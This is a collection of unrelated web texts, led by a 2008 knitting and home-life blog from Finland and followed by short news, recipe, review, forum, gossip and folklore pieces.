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Saturday, 27 December 2008
Deep breath
Monday, 22 December 2008
are the days getting longer?
I've been busy/pre-occupied over the last month with some changes to my work, which included a quick trip back to the UK. Apart from the work-related stuff I had a good time visiting Jo and Andrew, who were kind enough to put me up at short notice. They were very good hosts and made sure I had the opportunity to drink proper beer, do some shopping, post Christmas cards, buy some really interesting cheese and eat some very good food including a treacle sponge. I didn't get the opportunity to visit any yarn shops, but I did come home with some more felted tweed - Andrew has asked me to knit him a jumper as he's tired of not finding what he wants that fits in the shops - he's decided on the cobblestone pullover by Jared Flood and managed to get the yarn in time for me to bring it back with me.
I have one project that I want to get finished before I cast on Andrew's cobblestone. And that is the deep V Argyle Vest that I've been working on. Knitting this along with Quinn hasn't happened as she's had some real problems with gauge and sizing etc so she's giving her version a time out. I've finished the knitting of the body and am now preparing myself mentally for doing the crochet steeks and cutting the arms and neck openings. I'm feeling pretty positive about it, but I'm sure it'll be pretty nerve racking.
And finally in knitting news I started a sock at Helsinki airport last weekend on my way to UK. I risked taking knitting needles in my hand luggage and was very surprised, especially on the return leg out of Heathrow, to have no problems at all. I'm sure it's very hit or miss and am not sure I'd risk trying to take larger needles or a project that would be a real disaster to restart if the needles were confiscated - I guess that's where life lines come in.
So, anyway the sock is the arch-shaped sock by Jen Showalter, although I'm trying to do them in 3 x 2 rib as I've seen others on ravely do them. My numbers/gusset decreases haven't worked out quite right, but I'm keeping going to see what happens.
Monday, 24 November 2008
So that's a good start - our neighbour tells us it's too soft for skiing, but if we have a bit of rain and then some more snow it should be good. At least it looks more like what we expect Finland to look like this time of year, and it's so much brighter outside now which is much better.
Sunday, 23 November 2008
This isn't our only wood pile - after 3 cubic meters was delivered yesterday we've now hopefully got enough wood to keep us going this winter.
We haven't had a lot of snow yet, but it's definitely colder than this time last year and there is snow forecast for later today (hopefully after David comes back from work with more tarps and we get the piles properly covered).
I have my fingers crossed for the Finnish winter experience we missed out on last year with it being too warm. Items at the top of my list include seeing the sea freeze over and the ice breakers in use. I'd also like to have a proper white Christmas - an occurrence which so far has been lacking from my life due to the southerly or temperate climates I've lived in, or from sheer climatic bad luck (in the case of our time in Norway).
Sunday, 16 November 2008
Tampere handicraft fair
My first purchase was some merino lux from toika, it's a 50/50 merino and tencel mix, 4ply weight yarn and I bought enough to hopefully make a jumper at some stage. There isn't really enough light in Finland at the moment to show the colour properly - it's a bit more blue-grey than shows in this photo and has a lovely sheen.
The second I purchased was some sock yarn called Arwetta, according to the label it's 100% super merino wool AND 20% nylon, no doubt these will become socks at some point. I got it from the titityy stand.
And that's all I got... I said I was restrained!
Sunday, 9 November 2008
back north
Now we're back to Finland, which is pretty grey and dreary at the moment. The fire has been kicked into action, so we're nice and cozy despite the weather. Unfortunately the car's still giving us problems no doubt another trip to the car doctor will sort it out and make us poorer - still hopefully cheaper than buying a new one.
I did a little knitting while I was away, but not that much and we visited the three yarn stores I could find addresses for although I was good and didn't buy anything. Depending on how much work I find to do next week I'm going to make a concerted effort at getting some more of my City and Guilds course progressed.
Thursday, 23 October 2008
Last night was a nightmare night. I dreamt that someone was in the room and lay down on the bed on the opposite side of me to David. The confusion and shouting started and I got out of bed, I think to try to switch on the light to prove what I knew in my head was happening. Of course I couldn't find the light switch (I always expect it to be by the bedroom door, but it's been put next to the walk-in wardrobe door) and when David switched the light on (as it was obvious that saying soothing words wasn't going to get me to just go back to sleep) there of course wasn't anyone there. With the turning on of the light and the realisation that the extra person in the bed was a figment of my imagination I woke up properly and was completely confused about what was going on and the emotions I was feeling. My heart also started racing - in fact I don't think I've ever felt it race so fast or so hard.
These nightmare episodes are very strange and I wonder why I get them. Why do I "wake up" in the night shouting and David doesn't (he just gets woken up by me)? What makes my brain convince itself that something is happening that isn't?
Friday, 17 October 2008
quilt update
I've added another section to it and removed a lot of the paper backing, which was a pain (including a few paper cuts under my nails), but makes it a lot easier to manoeuvre now. Still some way to go but hopefully it'll remain my 10 year project rather than expanding to 15.
Saturday, 11 October 2008
Deep V
My gauge isn't spot on, but is close. I think width-wise will be fine, especially once it's blocked, but I need to have a think about length-wise and decide if I need to make any minor changes while I'm doing the armhole shaping. I'm at the end of my first skein of green and nearly at the end of chart A, so I guess now is a good time to figure that out.
Tuesday, 7 October 2008
And it matches my hat (I'm not hiding - honest!)
As you can see from the photo our mud month weather hasn't continued, in fact we have a big blue sky and sunshine at the moment (long may it last).
Saturday, 4 October 2008
For example: January is tammikuu (oak month), February is helmikuu (pearl month). Not all of them have such succinct translations, but I did learn that October is lokakuu (mud month).
We were having this conversation on the last day of September, it was a beautiful evening - sunny, clear blue sky and beautiful autumnal foliage.
So far October has been living up to its Finnish name. It hasn't stopped raining - we even had thunder last night and the rain was so hard during the night that it woke me up (I woke David up and told him he should probably not cycle to work today, before going back to sleep) and I was surprised when I got up today that the whole area hadn't been washed away, but not surprised that it's still raining!
Quinn is coming over later as we're in the starting throes of both casting on for the Deep V Argyle Vest by Eunny Yang - that's if we both don't get too bogged down with gauge.
Tuesday, 23 September 2008
Sunday, 14 September 2008
teach a young dog new tricks
I'm about half way through the first module - so far it's been a lot of swatches of "building blocks" for knitting - so different cast ons, cast offs, stitches, ribs, tension, gauge swatches, blocking etc etc.
Here are a few of the mounted swatches I've made so far - I've got an envelope of others that still need mounting and labelling. Soon I start doing stuff which is hopefully going to help develop the inspiration to design process. I'm really looking forward to that part.
One good thing about all the swatches that I've been making is that it's helping use up some of the not so nice yarn I seem to have in my stash, yarn that I wouldn't buy now, but that I have aquired through one way or another over the years.
The course is run from the UK - so far I haven't been able to attend any of the get-togethers of other students that happen, but maybe at some point one will coincide with a visit back to the UK.
Monday, 1 September 2008
First we have the Cable and Rib jacket by Debbie Bliss. I've been knitting this for what seems like ages (since February 2008) using wool from a herd of Jacob sheep kept at High Head Castle near Carlisle. They separate the wool into the three colours of natural wool found on a Jacob sheep, and this is the darkest. I have some more of this left and also some in the medium colour, so no doubt there will be more knitting of this wool to come. I think it's a really nice wool - I love that it's not dyed, but still has such a strong colour. I think it shows good stitch definition in the cables and ribs. I like the pattern, I found its formatting a bit of a problem during the cables, but a bit of copy, paste into word soon made that problem go away. I've heard people complain on blogs about putting zips in, and that they're difficult etc etc - I didn't have any problem. I guess my sewing skills come in handy.
Vinnland socks by Becca Compton. These were a bit of a technique experiment as these are the first pair of socks I've knit toe up, two at once, magic loop. Technique fine, although as I mentioned in the last posting I've got a bit of a ladder thing going on. I found the pattern a bit of a drag to knit, and not getting tangled up in either end of the same ball of yarn was a chore, but I really like the pattern now it's done, and the colour of the yarn is very me. I have a little bit of a problem with them, but I'll blog about that some other time once I've solved it.
garnstudio's drops alpaca, which is lovely and soft and really nice to work with so far. It's a thinner yarn than the pattern calls for, so I've changed needles and the size pattern I'm knitting. I'm not convinced yet though that I'm going to continue as I'm getting quite a limp fabric. I'm thinking about re-swatching with a double thickness of yarn.
Friday, 22 August 2008
Thursday, 31 July 2008
knitting and flowers
I've recently cast on two new projects: The first is the seascape stole from the summer issue of knitty. I'm knitting it using some of the mountain of yarn that Cecilie brought back from China.
And the second is Vinnland socks. I wasn't intending to start a second project until I'd finished the Jacob cardigan, but Cecilie wanted a toe up starting session - so I think I confused both her and Quinn in the ways of Judy's magic cast on . I think we may need another session, but I still believe this is one of the best ways to start toe up socks - I'm not so keen on the provisional cast on way. Anyway, again I'm using some Chinese yarn (this will be a theme for a little while!). As you can see I'm trying two at once using magic loop - the longest 2.5mm circular needle I have is 80cm, but I think I'm going to invest in a longer one as it's all a bit squashed.
When we got back our garden was properly blooming:
from top left, clockwise: Dahlia (Arabian Knight), Calendula, Bergamot, Lily (Samur)
Sunday, 20 July 2008
Buds and flowers
I planted the lilies a few months ago as sprouting bulbs bought at one of our local garden centres. They're the variety Samur.
They've been growing well since then and have had green buds for a few weeks, the buds of the lily that gets the most sun each day were showing signs of pink earlier this week.
And now the same lily has started to flower.
They're a really girly pink, but if you're going to have something as flouncy as lilies, why not? I have more of them spotted around the garden, so hopefully over the next few weeks we'll get splashes of pink around the place.
Our garden isn't the most colourful, but this is a start.
Friday, 11 July 2008
Jacob cardigan update
Felicity Anne and I both like it. It has a lot of texture to it, with the cabled panels on the front and the twisted rib covering the rest of it. It's not a loose sloppy cardigan, but nicely fitted and flattering. The red and yellow bulldog clips on the front holding it together are where there will be a double ended zip (hopefully if I can find one).
What's left to do: second sleeve (cast on this morning), collar, blocking, seaming and finding and sewing in the zip.
Monday, 7 July 2008
Friday, 4 July 2008
Attack of the killer strawberries
Talking of crop devouring I had to ask David to make the strawberries a cage - not because they're vicious and were attacking the other plants, but because the fieldfare were attacking them.
Monday, 30 June 2008
more finished socks
I think this is a really nice stitch pattern, not too girly but interesting. I'm tempted to make a pair for my Mum too.
So now I will spend a few days trying to make a dent in the Jacob cardigan I seem to have been knitting for ages - I think this has stalled as I don't seem to be able to do the cabling in company. I've cast on the first sleeve, so should be able to concentrate on the cabling at home and still be able to work on it in company.
Once that's a bit further on I'll allow myself to cast on some more socks - we met up with Cecilie yesterday and she brought me bounty that she'd bought in China - it's mostly sock weight yarn, although there are a couple of balls of even finer. She chose some very "Deborah" colours - greens, browns, blues and a bit of red - lots of mulling over and plotting are in order.
Thursday, 26 June 2008
Enough yarn?
And yes, the area behind the bench is our lawn - it looks a bit pitiful at the moment, but it's currently undergoing some re-seeding.
Things are growing in the garden, this is a picture of our tomato, pepper and chili plants. There's flowers on both the toms and the chilies (or maybe they're on the peppers, I can't remember which pot is which!), but they seem to be quite liking their sheltered spot. I'll be interested to see if we get much fruit, or if next years will have to be grown inside.
I found a recipe yesterday that we had for dinner, it was very tasty, so I thought I would share. We had sweet potato ravioli with toasted pine nuts, sage and rocket. The recipe can be found here. Typically we didn't have all the ingredients, so replaced the fresh sage with dried sage and the rocket with some chard from the garden. I did plant some rocket seeds the other day to give us a few more leaves to pick, but they're not up yet. And I will get a sage plant. So no doubt we will try the recipe again with the full set of ingredients to hand. You really can't beat freshly made pasta - it's so easy to make.
Monday, 23 June 2008
stagnating socks
I especially like the continuation of the pattern down the heel flap, this isn't something I've done before, but I'll definitely do it again.
Before I cast on something new, I have the second sock of the embossed leaves socks to finish and am also part way through making the cable and rib jacket from the Jacob Wool.
We've received the official photos from the photographer and have sent on the link to them on the Internet to friends and family (Kristin, I sent them on to you after you commented, did you get them OK?). We're pleased with the photos, and now need to sit down and choose which photos to have put in our album.
We've also been sent a few "unofficial" photos... here's me beforehand... showing the dress and wrap that I made:
And here's us afterwards..
I don't think we scrub up too bad! Most people knew about David's socks being hand made, but I haven't seen a photo of them yet.
Wednesday, 18 June 2008
post wedding
- We're back;
- We're married;
- We had a great time;
- It was great to see all the friends and family that we did.
We did a weeks walking in the Lakes before the wedding and a weeks walking afterwards, and then a weeks camp and explore once we got back to Finland. It was really nice to be amongst the hills of the Lakes
and I realised how much I miss beech trees.
There are a huge number of trees in Finland (as was proved to us during our week of explore), but there's just something about beech trees that I love.
I don't have any wedding photos yet, but once I do I'll post an odd one.
As for knitting and crafty activities - I hemmed my wedding dress, did a bit of my sailor sock and managed to acquire some patterns and yarn, but I wasn't nearly as productive as I'd imagined.
Wednesday, 21 May 2008
pre wedding update
And here we have the first embossed leaf sock finished.I knit to the heel turn on both of these and then had them around in case Cecilie needed visual aid while she turned her first heel. Her heel passed by without incident and so I can now get on and get both of these finished. I'll take them both with me to the UK and hopefully get some knitting done between enjoying real ale in real pubs and walking.
And then we have the first little bit of the second front of the Jacob cardigan - kind of a token cast on.
So, a bit of sock knitting in the UK and maybe a look in the rowan shop (which sounds dangerous).
I'm sure I'll blog more when we get back....
Wednesday, 7 May 2008
Monday, 28 April 2008
Sunny weather knitting
The weather here in Helsinki has been really good for the last couple of weeks, and from the forecasts I've seen it's meant to continue (more or less). We've been taking the opportunity to spend some time outside to make the most of it. The weekend before this one we were meant to go over to David's boss's house for dinner on the Sunday. As the weather was so nice we decided to cycle - he cancelled, but we still went for a bike ride anyway.
We just happened to end up cycling past, what is turning out to be our favourite pub in Helsinki - The Black DoorThey serve real ale and other more interesting beers than the usual Carlsberg and Koff that is sold in most of the bars around here. And you can sit outside in the sun.
This weekend I met up with Cecilie and Quinn to continue with Cecilie's indoctrination into knitting and what is turning into an informal Saturday knitting group. We did try to sit outside of the Black Door but unfortunately there weren't any tables free so we ended up on the sun terrace of MBar. We were having a sock knitting session, so we got Cecilie started off with her first sock and Quinn and I cast on (with varying levels of success) for socks for ourselves. Quinn was eventually successful, but I cast on again on Sunday morning as I'd completely miscounted my gauge and I think the sock I cast on at MBar could have become a jumper.
I'm using Trekking pro natura in a green/blue colourway and am knitting using the sailor's ribbing pattern from More Sensational Knitted Socks.


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Solihull Borough . . 2 Chester City . . 4
A DEAN Spink hat-trick earned Chester City a well deserved victory in last night's FA Umbro Trophy replay at Solihull, and set up a fifth-round home tie against fellow Nationwide Conference outfit Hereford.
The victory meant City have extended their unbeaten run to seven matches, after a secondhalf fightback turned the match in the visitors' favour.
Chester went behind after 18 minutes. Phil Bolland was harshly adjudged to have fouled Gary Knight in the area and Derek Hall converting a rebound after 'keeper Wayne Brown had saved his penalty.
Spink equalised on the stroke of half-time, scoring from close range following a deep cross from Carden.
The Midlanders restored their lead after 54 minutes, Chris Smith converting a firmly struck cross from Knight.
Chester's superior fitness then came into play and Whittaker brought out a fine save from Murphy, before the ex-Southport player crossed to Bolland, who headed the equaliser after 63 minutes.
Spink put City into the lead for the first time after 72, following neat work between Beesley and Whittaker.
The ex-Shrewsbury Town striker completed his trio of goals, in injury time, in bizarre fashion.
After the match City manager Mark Wright said: "I was happy with the amount of chances we created, and of course our fitness is now beginning to get to an acceptable level."
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Tuesday, 03 February 2009 12:53 PM
Illuminated by the sparks flying in the partisan Senate battle over the $1.17 trillion stimulus package is the critical Minnesota election contest between Democrat Al Franken and Republican Norm Coleman, which is causing major headaches for Democrats.
Senate rules require at least three-fifths of its members to vote to shut off debate, thereby bringing a bill up for a vote. Ordinarily, that means Senate Republicans need 41 votes to put the brakes on legislation via filibuster.
With the Franken-Coleman seat still up for grabs, however, the U.S. Senate has only 99 seated members. Because three-fifths of 99 equals 59.4 votes, the bar for cloture still will be set at 60 votes.
The bottom line: The GOP could suffer the defection of one senator and still have the 40 votes it needs in the current Congress to prevent the stimulus bill from becoming law.
If, on the other hand, Al Franken were a U. S. senator, Democrats would be one vote closer to getting their way on any legislation. "Our burden would be a little lighter," Sen. Chuck Schumer, D-N.Y., told the Minneapolis Star-Tribune.
The evolving status of New Hampshire GOP Sen. Judd Gregg could have a big impact as well. If Gregg, who is considered a strong fiscal conservative, becomes the next Commerce secretary as expected, it may not alter the political balance in the short term — but probably will put Republicans on even more perilous ground in the future.
Assuming Gregg takes the job and is confirmed, New Hampshire Gov. John Lynch, a Democrat, is expected to appoint a Republican caretaker to fill the job for two years.
That means a wide-open race for the seat in 2010, in a state that has shifted much more toward the blue column in recent elections. Democrats are already rallying behind New Hampshire Rep. Paul Hodes for the job, who many say would be a strong favorite to win the seat in 2010.
"Democrats are quickly lining up behind Rep. Paul Hodes as their nominee, and Republicans have no obvious candidate to step in for Gregg," observes Chris Cillizza of the Washington Post.
Gregg probably would remain in the Senate long enough to vote on the stimulus bill, and pundits openly question whether Gregg would oppose Obama on the bill, knowing the president was about to become his new boss.
With each twist and turn, it seems, the outcome in Minnesota becomes more critical.
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My latest story for EarthFix: A restoration project in Bandon Marsh created new habitat for salmon and shorebirds, but it also created a new breeding ground for mosquitoes. Local residents are asking the U.S. Fish and Wildlife to control the swarms that are keeping them indoors despite beautiful summer weather.
Bandon Mayor Mary Schamehorn says people in her community are being "held hostage in their homes" by the onslaught of mosquitoes. Visitors to the area, including golfers at Bandon Dunes Golf Resort, are being tormented, and some have canceled their plans to hold events at nearby Bullards Beach State Park, The World reports.
The city of Bandon has actually offered to give the Fish and Wildlife Service money to deal with the problem, which has been ongoing throughout the summer. The federal agency says it's working to reduce the amount of stagnant water in the marsh, but Oregon Congressman Peter DeFazio sent a press release indicating he's growing impatient with the agency:
"I first asked Fish and Wildlife Services about the mosquito swarms around Bandon in May— they told me they were looking into the problem. Three months later and well into the tourist season, the mosquito problem has gotten worse. Because of the mosquito swarms, residents and businesses are suffering, and recreation on our public lands has become nearly impossible. We need a plan to prevent this from happening in the future, but USF&W also needs a cost effective and environmentally-conscious plan to repress the mosquitoes today."
You can check out the rest of the story at OPB's EarthFix page, where I will be posting my work from now on.


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3 Life Lessons from "Me Before You"
Have you ever watched a movie and felt like it resonated with your life more clearly than things happening in your day to day? Like you're learning lessons while you're watching the film? It happens, probably more than you realize, and if you sit down and think about it – you can learn a lot from the movies. Recently I watched a film called "Me Before You," and it really got me thinking and it's been replaying in my mind ever since.
If you haven't seen it, here's the scoop on the movie that was based on the book by Jojo Moyes, via Wikipedia:
Louisa Clark is an outgoing woman in her mid-20s who is compelled to find a new job after being laid off from a café she had worked at for six years. With some help, she finds work as a caregiver for Will Traynor, a cynical former banker who becomes completely paralyzed by a motorcycle accident two years prior. At first, he reacts coldly to her spunkiness, and he treats her with contempt. Soon enough, however, the two begin to bond and they eventually become close friends and develop feelings for each other, even though Louisa has an unthoughtful, marathon-running boyfriend named Patrick.
While at work one day, Louisa overhears Will's parents and she learns that Will has given his parents six months before they must bring him to Switzerland for assisted suicide. Will cannot deal with the pain and suffering of his disability and wishes for his old self to come back, but because this isn't a possibility, he asks for his parents to do this one thing for him. Upon learning about this, Louisa secretly makes it her mission to change his mind and she takes him on all the adventures so that she can prove that life is worth living. However, at their final trip in Mauritius with Will's physical therapist Nathan, Will confesses how he still intends to follow through with the euthanasia and asks for her to accompany him one last time.
3 Life Lessons from "Me Before You"
This movie was incredibly moving, in fact there wasn't a dry eye in the house – but not because it was so sad, more related to the beautiful relationship between Louisa and Will. Here's a look at what I took away and why I haven't stopped thinking about it.
Anyone can make a difference, it just takes heart. Louisa is a young and cheery girl who has spent her career working at a café. When she finds herself with a new career working as Will's caretaker, she doesn't know just how instrumental she will be in his life. With a whole bunch of heart, lots of persistence and a dedication to what she believes, she makes an imprint on his life that's undeniable. The lesson here: any of us are capable of making a difference, it doesn't matter who we are or what our background is. When you care about someone or something, you can change minds and hearts.
Life is incredibly precious and it can all change in an instant. When Will is in an accident, his whole life changes in the blink of an eye – and everything as he knows it is gone. He can no longer care for himself and he's overcome with grief about his new way of life. This movie is such a reminder to cherish everything we have and everyone we love – life is unpredictable and each day should be treated as the most special day we have.
Love is found in the most unexpected places. When Louisa accepts a new job as a caretaker for Will, she has no idea that what she'll really find is a whole new level of love she never knew possible. And, you know what? That rings true for all of us. Love and friendship is often found when we aren't looking and those relationships are many times the most intense, passionate and long-lasting. Just remember, you never know who may meet along the way.
Have you found that movies often leave you thinking about life and the lessons that happen along the way?


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Baked Honey Garlic Chicken Wings Recipe
These baked honey garlic chicken wings will get gobbled up quickly.
2.5 lbs chicken wings
2 Tablespoons margarine or butter, melted
1/4 cup honey
4 Tablespoons margarine or butter
6 garlic cloves, minced
1/2 teaspoons onion powder
1/4 cup water
1 Tablespoon soy sauce
1 Tablespoon all purpose flour
Serves 6-8
Preheat oven to 400°F.
Line with aluminum foil and grease an oven grill pan with a little oil.
Wash the wings in cold water.
Pat the wings dry with paper towels.
Place the wings on the grill and brush with
melted margarine or butter.
Place into the preheated oven and bake for a total of 40-45 minutes.
Flip the wings over after the first 20 minutes so you can brown both sides.
When baked place into a mixing bowl.
While wings are baking, prepare glaze.
In a small pot, bring to a simmer honey, butter, minced garlic, onion powder, water and soy sauce. Add flour and whisk vigorously so that flour won't clump. Simmer till sauce has thickened, set aside.
When wings are ready pour the sauce over the cooked wings and gently toss to glaze them evenly.


text: Copper Tri-Ply Milk Pan 14cm 5 "Beautiful and useful" Judith 17 February 2014 These pans are both beautiful and useful. They look great and really deliver what they promise in cooking terms. They don't suffer from hot spots but provide an even heat, and retain that heat well. I've yet to try them in the oven but I have little doubt that they'll be fine there as well as on top of the cooker. Yes, they are not cheap but I took advantage of the 3 for 2 offer and think they are well worth the money. Only slight issue is that, as another reviewer notes, they will need regular cleaning to keep nice and shiny.


text: Hi all. I am planning to have a home network with 3 PCs (initially). One PC is desktop, will be connected with Ethernet cable to the router. The second will be a notebook with WiFi connection. The problem is withe the third PC. I need to connect it with WiFi. But the computer is located 2 floors above. The distance between the router and the 3rd PC is about 6 meters but there are a reinforced concrete ceiling and floor between them. Now I think which one of the WRT series router would be good enough to establish at least 50% signal strength for a connection between the router and the 3rd PC? Of course I prefer the cheapest possible model (like WRT54G) but I have read that latest WRT54G revision is not as good as older ones and WRT54GL is more recommended (although there are rumors that also WRT54GL latest revision is not as good as the earlier ones). Only I do not know how it is relate to my case. Has WRT54G worse signal strength or speed than WRT54GL? Other extra features do not interest me, I need just basic routing, DNZ, MAC clone, DHCP, WiFi. Thanks for any help.


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Random Funess!
I'm essentially finished with my Hard Ei8ht story now so I have time to work on a lot of other things. Good timing too since I'm working some more hours drawing at the D-land for the Spring/Easter Break that's coming up. I'm also just getting back into 3D animation so maybe I'll have some of that to post sometime soon.
First of all this, if you remember earlier I was working on this in ink before I got caught up in work and Ei8ht. I started doing the color for this a while back but it's new to you guys right?
Hopefully I can finish this someday, but for now, some doodles from work:
I've always wanted to post a page straight out of my sketchbook like you see so many people do. This is just the first time I've had a page of sketches I thought was half-way decent enough to do so with.
I can't believe I forgot how much fun it was just to cafe sketch. So tonight I make some more doodles perhaps?


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Rob Kardashian showers Blac Chyna with lavish Valentine's Day presents
Rob Kardashian and Blac Chyna still appear to be going strong. Kardashian's Valentine's Day presents for his girlfriend suggest he may be more smitten than ever.
Chyna posted several photos and a video on Instagram of the lavish gifts Kardashian gave her for the romantic holiday. First up, dozens upon dozens of red roses.
If you look closely, you can see a card on the counter in front of Chyna that says, "I love you." A baby bottle, diamond ring and four-leaf clover also appear to be on the Valentine's Day card.
The couple started stirring up engagement rumors when Chyna was spotted wearing a huge diamond ring on her left hand. She also posted a photo cuddling with Kardashian with the caption, "Missing Bae," followed by a diamond ring emoji.
More: Rob Kardashian's new relationship is helping him reconnect with Kris Jenner
Kardashian also gave his girlfriend a wall-sized painting of herself for Valentine's Day. Chyna posted a video showing off the seriously elaborate portrait.
"Look at this really nice painting that my babe got for me. And if you look really close, it's actually the lyrics to our song," Chyna said in the video. "Happy Valentine's Day Rob!"
They already have a song? Dang.
The couple's song appears to be "The Beginning" by John Legend, which features the lyrics, "It's the beginning of forever. It don't have to end." This could explain why Chyna has captioned several Instagram posts with, "The Beginning."
More: Blac Chyna may be exactly what Rob Kardashian needs in his life (PHOTO)
Chyna posted another photo posing in front of her painting, as well as the pink-haired picture that inspired the portrait. She even shared a photo of Kardashian kissing her on the cheek.
The controversial couple went public less than a month ago on Jan. 25, when Chyna posted a photo on Instagram of Kardashian hugging her. The relationship has sparked tension within the Kardashian-Jenner clan, as Chyna has a child with Kylie Jenner's current boyfriend, Tyga.
More: Rob Kardashian creates a fan frenzy with his post about Blac Chyna (PHOTO)
A source told Us Weekly that Chyna "has been so good" for Kardashian. She's reportedly helping him live a healthier lifestyle and make amends with his family.


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Updated of Pokémon Go and why has enraged many fans 2018
Pokémon Go Apk – What is the update of Pokémon Go Apk and why has enraged many fans
When Pokémon Go Apk Plus million Go players were getting used, he came the change to put them, in some cases, head app.
Photos by: Pokemon Go USA Players
The Pokémon Go Apk first of the major updates augmented reality game that has become a social phenomenon has been received largely negative: confusion and anger are two feelings that are associated in specialized blogs entries and simple user tweets.
"Thanks Pokémon Go Apk to erase everything that had advanced. I spent the level 14 to level 2 and lost all my Pokémon Go Apk . I want to. Kill me," wrote a user on Twitter.
"The update of Pokémon Go Apk reset my progress and put me in level 1. A small part of me died , " noted another.But some experts soon came to the rescue.
With the update, the game uses the default features that are operating in your browser. If it turns out to be different from what you've been using to catch Pokémon Go Apk , you are, in effect, creating a new game.
So the solution is to get out of the game and return to "log in". With the right direction.
So the game came with a form of "savings", while not completely solve the problem, served as a palliative.
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Zimbabwe: Developments since the military takeover
Zimbabwe: Developments since the military takeover
Harare (AFP) - Here is a timeline of the developing political crisis in Zimbabwe, where the military has taken control of the country but President Robert Mugabe is clinging to power.
- Army takes control -
- November 14: Tanks are seen moving on the outskirts of the capital a day after army chief Constantino Chiwenga denounces Mugabe's sacking of Vice President Emmerson Mnangagwa.
Mnangagwa is seen as a rival of Mugabe's wife Grace, 52, to succeed the veteran 93-year-old leader.
Later, heavy gunfire is heard near Mugabe's residence in Harare.
Military officers deny a coup. In an overnight declaration on state television, they say Mugabe is safe and they are "only targeting criminals around him".
- Mugabe under house arrest -
- November 15: Military vehicles take control of the streets of Harare from the early hours, controlling access to parliament, ruling party headquarters and the Supreme Court.
South Africa says Mugabe has told its president, Jacob Zuma, by telephone that he is under house arrest but is "fine".
South Africa sends two special envoys to Zimbabwe. The European Union urges a peaceful resolution to the crisis.
Former colonial power Britain urges all sides in Zimbabwe to refrain from violence and says the situation is "very fluid".
The head of the African Union, Guinea's President Alpha Conde, says the situation "seems like a coup". He calls on the military to halt their actions and restore constitutional order.
- Mugabe refuses to step down -
- November 16: Mugabe refuses to resign during talks with generals, a source close to the army leadership says.
Opposition leader Morgan Tsvangirai also calls for Mugabe to go "in the interest of the people".
Mugabe and envoys from the Southern African Development Community (SADC), dispatched by Zuma, hold talks at the presidency.
- Mnangagwa returns, pressure on Mugabe -
- November 17: Ousted vice president Mnangagwa, widely tipped to become a transition leader if Mugabe leaves, has returned to Zimbabwe after nearly a week abroad, a senior aide says.
Mugabe makes a first public appearance since the military takeover, attending a university graduation ceremony.
The army says negotiations with the elderly president are continuing.
Veterans of Zimbabwe's independence war call for mass anti-Mugabe street protests on Saturday. Their leader Christopher Mutsvangwa tells Mugabe "the game is up".
US Secretary of State Rex Tillerson says the people of Zimbabwe must choose their own government through elections.
In Ivory Coast, President Alassane Ouattara says it is time for Mugabe "to hand over his seat to a new generation."


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The story of turtle island
In the beginning the Great Mystery created the earth and all living things within and upon and also those above…all lived in harmony… in balance and the mother nurtured her children.
But the two legged began to disagree…and soon to argue and then to fight… forgetting their place within the hoop they began to seek dominion over all others, and in so doing upset the fragile balance and disrupting harmony throughout the earth and all suffered at the hands of them.
The Great Mystery…seeing what the two legged were doing and knowing that all creation would suffer, caused a great flood to cover the earth. The great waters covered the land masses causing all that could not fly or swim to perish except those that found refuge or safety so that not all would perish that lived upon the land. Those that survived clung to trees, and logs that had been swept up and away by the flood. Only the sea could be seen from horizon to horizon…. Birds who sought safety in the skies from the fierce waters now looked desperately for perch…. But there was nothing but water….. An Eagle flying high above the water with his sharp vision spied a large tree that had been uprooted floating in the vast expanse of ocean, he could see several figures upon the tree… and swooped down landing with a great sigh of relief upon the roots that stuck up from the base of the tree….
As the great eagle looked at those who had also taken refuge upon and around the old and weathered tree, he saw there a man , a cormorant, a nutria, a turtle, a hell diver, and a beaver among others… some swam along side or held on.. while others rested upon the tree. A crow called out to the eagle…. We must share our tree with all who are in need… so we will take turns allowing all rest, he said and then fell silent. Another voice spoke up… what are we to do? Are we to die upon this tree… how will we eat. What will happen when the storms come? Others began to speak up also, because they were afraid and could see no end to the waters that swallowed the earth and their homes. All lay at the bottom of the ocean… beyond their reach. How will we survive? They asked…. And began to weep at the thought that they might perish.
Just then the man spoke… We must gather the earth from the bottom of the ocean! He said, We can rebuild the land and return to our place within the hoop, in this way can we survive! All eyes turned to the man… a silence fell as each began to hope… then the eagle spoke up…. And how will we gather this earth from the bottom of the ocean to rebuild our land and our homes?… he asked The man slipped into the dark cold waters… shivering as his skin felt the bite of the icy water…. I will swim to the bottom of the ocean and will grab hold of the earth and return to the surface , with this we can rebuild the land… he said, and then dove beneath the waves into the dark endless night of the ocean…deeper and deeper he dove.. His body tingling from the icy grip that surrounded him…still he dove deeper… into a darkness so black his only hope was to find the earth through outstretched arms… but soon… he began to weaken..his limbs now numb he could no longer propel himself downward… and his lungs now screaming for air he turned upward and swam frantically toward the surface racing against time…he began to feel his consciousness drifting just as his head broke water not far from the tree…the others seeing his struggle leapt into the water and pulled him to safety upon the great tree.
They waited in anticipation as the man caught his breath and began to breathe easier. As he looked around at the hopeful eyes that stared back at him … he bowed his head… I could not reach the bottom… it was too deep… my skin is much too thin and my lungs much too small. I could not return with the earth. They all once again fell silent… then the Cormorant spoke up… I can swim very deep.. And I am used to the cold waters I will dive to the bottom and return with the earth.. He said, and dove silently into the ocean… the cormorant swam and swam… deeper and deeper..further then he had ever gone before… but his body was no match for the deep and he too had to return to the surface after a short time… the others seeing the cormorants return began to decide who would go next… the helldiver spoke saying… I should be the next…I find my food deep beneath the waves… I can swim quickly and hold my breath for a long time… and he too dove into the dark water and disappeared beneath the waves… down he dove… he was a strong swimmer and knew how to use the cool waters to glide… but he too began to weaken before long …but determined he pushed onward..forcing his body and mind to reach further into the darkness….until he knew that he could go no more…. But he had used too much energy…too much oxygen .. And as he lost consciousness he could just barely see the light from the surface …. Staring down into the dark water the eagle spotted a shadow just beneath the surface…. Helldiver! He shouted… he's is below the waves… he is not conscious!… he yelled.
With that the turtle swam down and returned with helldivers still form on his back. Hurry! man said give him to me and I will give to him my breath so that he will not die. And man breathed into helldiver his breath and helldiver began to choke and spit as his lungs struggled to release the water and replace it with air… soon he began to breathe much easier.. I too was unable to reach the bottom … it must be very deep indeed if I could not reach it he said…and so many others tried to reach the bottom of the ocean and bring back the earth…but none were able to swim deep enough …even the turtle could not reach the bottom …he too did not have enough strength .
